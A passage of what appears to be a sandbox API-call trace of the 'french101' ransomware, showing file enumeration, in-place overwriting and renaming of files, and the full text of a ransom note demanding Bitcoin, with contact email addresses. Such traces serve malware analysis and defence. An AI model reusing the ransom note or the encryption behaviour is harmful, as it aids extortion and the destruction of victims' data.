(hObject=0x398) returned 1 [0281.680] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.680] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.680] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.680] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0281.680] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0281.680] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.680] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0281.680] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.681] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0281.681] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.681] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.681] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.681] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.681] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0281.681] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0281.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0281.682] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0281.682] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0281.682] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0281.682] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0281.682] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0281.682] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.682] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.682] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x13b62 [0281.683] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.683] SetFilePointer (in: hFile=0x398, lDistanceToMove=80738, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x13b62 [0281.683] WriteFile (in: hFile=0x398, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0281.684] CloseHandle (hObject=0x398) returned 1 [0281.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.687] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.687] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x13b63 [0281.687] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0281.687] SetFilePointer (in: hFile=0x398, lDistanceToMove=80738, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x13b62 [0281.687] SetEndOfFile (hFile=0x398) returned 1 [0281.692] CloseHandle (hObject=0x398) returned 1 [0281.692] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.692] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.692] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x13b62 [0281.692] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0281.693] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.693] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.693] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.694] SetFilePointer (in: hFile=0x398, lDistanceToMove=64004, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xfa04 [0281.694] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.694] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0281.694] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0281.694] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0281.694] GlobalUnlock (hMem=0x3f40014) returned 0 [0281.694] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0281.694] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.694] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.694] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.694] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.707] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0281.707] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.707] SetFilePointer (in: hFile=0x398, lDistanceToMove=64004, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xfa04 [0281.707] WriteFile (in: hFile=0x398, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0281.708] SetFilePointer (in: hFile=0x398, lDistanceToMove=80738, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x13b62 [0281.708] WriteFile (in: hFile=0x398, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0281.708] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0281.708] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.708] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.708] CloseHandle (hObject=0x398) returned 1 [0281.711] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\DSi+27cFVBYhPuq5MTuBR1cyxBGfJ+qY+Ff5FsZxIzpYOQ.french101" (normalized: "c:\\588bce7c90097ed212\\1046\\dsi+27cfvbyhpuq5mtubr1cyxbgfj+qy+ff5fszxizpyoq.french101")) returned 1 [0281.712] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\DSi+27cFVBYhPuq5MTuBR1cyxBGfJ+qY+Ff5FsZxIzpYOQ.french101" (normalized: "c:\\588bce7c90097ed212\\1046\\dsi+27cfvbyhpuq5mtubr1cyxbgfj+qy+ff5fszxizpyoq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.712] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0281.712] CloseHandle (hObject=0x398) returned 1 [0281.712] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\DSi+27cFVBYhPuq5MTuBR1cyxBGfJ+qY+Ff5FsZxIzpYOQ.french101", dwFileAttributes=0x80) returned 1 [0281.712] CloseHandle (hObject=0x398) returned 0 [0281.712] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.712] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.713] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.713] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0281.713] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0281.713] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0281.713] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.713] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0281.713] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.713] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0281.713] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da350 [0281.713] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0281.713] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0281.713] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0281.713] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1046\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0281.714] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.714] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0281.714] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.714] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.714] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0281.714] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0281.714] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0281.714] CloseHandle (hObject=0x398) returned 1 [0281.714] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0281.714] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0281.714] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0281.714] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.714] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.714] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.714] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0281.714] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0281.714] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0281.715] GlobalUnlock (hMem=0x3f4000c) returned 0 [0281.715] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0281.715] GlobalUnlock (hMem=0x3f40004) returned 0 [0281.715] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0281.715] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0281.715] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0281.716] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0281.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0281.716] FindNextFileW (in: hFindFile=0x6da290, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0281.716] GetLastError () returned 0x12 [0281.716] FindClose (in: hFindFile=0x6da290 | out: hFindFile=0x6da290) returned 1 [0281.716] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0281.716] 